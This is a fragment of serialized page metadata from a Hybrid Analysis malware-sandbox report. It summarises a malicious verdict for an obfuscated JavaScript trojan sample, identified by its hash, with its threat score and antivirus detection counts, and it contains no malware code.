Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 11deb13e28a8…. Malware family: JS/Obfuscated.CT trojan. Threat score 100/100. 2/24 AV engines flagged this file. 5 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d"}],["$","meta","4",{"property":"og:title","content":"Malicious JS/Obfuscated.CT trojan Sample 11deb13e28a8… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 11deb13e28a8…. Malware family: JS/Obfuscated.CT trojan. Threat score 100/100. 2/24 AV engines flagged this file. 5 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/11deb13e28a8e3a9cc19a6b2a42dad0636fc5e6a115f3f3bbe2910b06ce30c5d"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious JS/Obfuscated.CT trojan Sample 11deb13e28a8… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 11deb13e28a8…. Malware family: JS/Obfuscated.CT trojan. Threat score 100/100. 2/24 AV engines flagged this file. 5 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L4d","11",{}]]